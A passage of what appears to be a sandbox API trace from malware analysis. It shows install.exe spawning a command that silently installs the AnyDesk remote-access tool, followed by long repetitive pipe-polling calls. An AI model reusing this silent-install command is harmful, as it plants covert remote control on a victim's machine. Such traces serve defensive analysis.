[4]=0x2f)))) returned 0x0 [0162.278] CreatePipe (in: hReadPipe=0x4034d6, hWritePipe=0x4034e2, lpPipeAttributes=0x4034ba, nSize=0x0 | out: hReadPipe=0x4034d6*=0xbc, hWritePipe=0x4034e2*=0xc0) returned 1 [0162.279] CreatePipe (in: hReadPipe=0x4034de, hWritePipe=0x4034da, lpPipeAttributes=0x4034ba, nSize=0x0 | out: hReadPipe=0x4034de*=0xc4, hWritePipe=0x4034da*=0xc8) returned 1 [0162.280] GetStartupInfoA (in: lpStartupInfo=0x403476 | out: lpStartupInfo=0x403476*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0162.280] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /c c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x34, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x403476*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\install.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xbc, hStdOutput=0xc8, hStdError=0xc8), lpProcessInformation=0x4034c6 | out: lpCommandLine="cmd /c c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent", lpProcessInformation=0x4034c6*(hProcess=0xd0, hThread=0xcc, dwProcessId=0xdd8, dwThreadId=0xddc)) returned 1 [0162.307] ResumeThread (hThread=0xcc) returned 0x1 [0162.307] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.307] Sleep (dwMilliseconds=0xa) [0162.310] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.310] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.310] Sleep (dwMilliseconds=0xa) [0162.699] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.699] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.699] Sleep (dwMilliseconds=0xa) [0162.700] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.700] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.700] Sleep (dwMilliseconds=0xa) [0162.719] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.720] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.720] Sleep (dwMilliseconds=0xa) [0162.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.733] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.733] Sleep (dwMilliseconds=0xa) [0162.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.748] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.748] Sleep (dwMilliseconds=0xa) [0162.762] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.762] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.762] Sleep (dwMilliseconds=0xa) [0162.777] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.778] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.778] Sleep (dwMilliseconds=0xa) [0162.793] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.793] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.793] Sleep (dwMilliseconds=0xa) [0162.810] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.810] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.810] Sleep (dwMilliseconds=0xa) [0162.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.825] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.825] Sleep (dwMilliseconds=0xa) [0162.840] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.840] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.840] Sleep (dwMilliseconds=0xa) [0162.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.893] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.893] Sleep (dwMilliseconds=0xa) [0162.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.905] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.905] Sleep (dwMilliseconds=0xa) [0162.985] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.985] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.985] Sleep (dwMilliseconds=0xa) [0162.996] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0162.996] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0162.997] Sleep (dwMilliseconds=0xa) [0163.080] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.080] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.080] Sleep (dwMilliseconds=0xa) [0163.145] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.145] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.145] Sleep (dwMilliseconds=0xa) [0163.152] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.152] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.152] Sleep (dwMilliseconds=0xa) [0163.167] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.167] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.168] Sleep (dwMilliseconds=0xa) [0163.215] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.215] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.215] Sleep (dwMilliseconds=0xa) [0163.230] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.230] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.230] Sleep (dwMilliseconds=0xa) [0163.256] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.257] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.257] Sleep (dwMilliseconds=0xa) [0163.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.266] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.266] Sleep (dwMilliseconds=0xa) [0163.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.277] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.277] Sleep (dwMilliseconds=0xa) [0163.292] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.293] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.293] Sleep (dwMilliseconds=0xa) [0163.309] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.309] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.309] Sleep (dwMilliseconds=0xa) [0163.329] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.330] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.330] Sleep (dwMilliseconds=0xa) [0163.342] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.342] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.342] Sleep (dwMilliseconds=0xa) [0163.355] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.355] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.355] Sleep (dwMilliseconds=0xa) [0163.377] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.377] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.377] Sleep (dwMilliseconds=0xa) [0163.395] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.395] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.395] Sleep (dwMilliseconds=0xa) [0163.402] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.402] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.402] Sleep (dwMilliseconds=0xa) [0163.417] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.417] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.417] Sleep (dwMilliseconds=0xa) [0163.433] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.433] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.433] Sleep (dwMilliseconds=0xa) [0163.448] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.449] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.449] Sleep (dwMilliseconds=0xa) [0163.465] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.465] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.465] Sleep (dwMilliseconds=0xa) [0163.479] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.480] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.480] Sleep (dwMilliseconds=0xa) [0163.620] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.621] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.621] Sleep (dwMilliseconds=0xa) [0163.636] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.636] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.636] Sleep (dwMilliseconds=0xa) [0163.651] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.651] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.651] Sleep (dwMilliseconds=0xa) [0163.667] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.667] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.667] Sleep (dwMilliseconds=0xa) [0163.683] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.683] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.683] Sleep (dwMilliseconds=0xa) [0163.723] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.723] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.723] Sleep (dwMilliseconds=0xa) [0163.736] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.736] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.736] Sleep (dwMilliseconds=0xa) [0163.745] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.745] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.745] Sleep (dwMilliseconds=0xa) [0163.760] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.760] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.760] Sleep (dwMilliseconds=0xa) [0163.808] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.808] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.808] Sleep (dwMilliseconds=0xa) [0163.824] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: 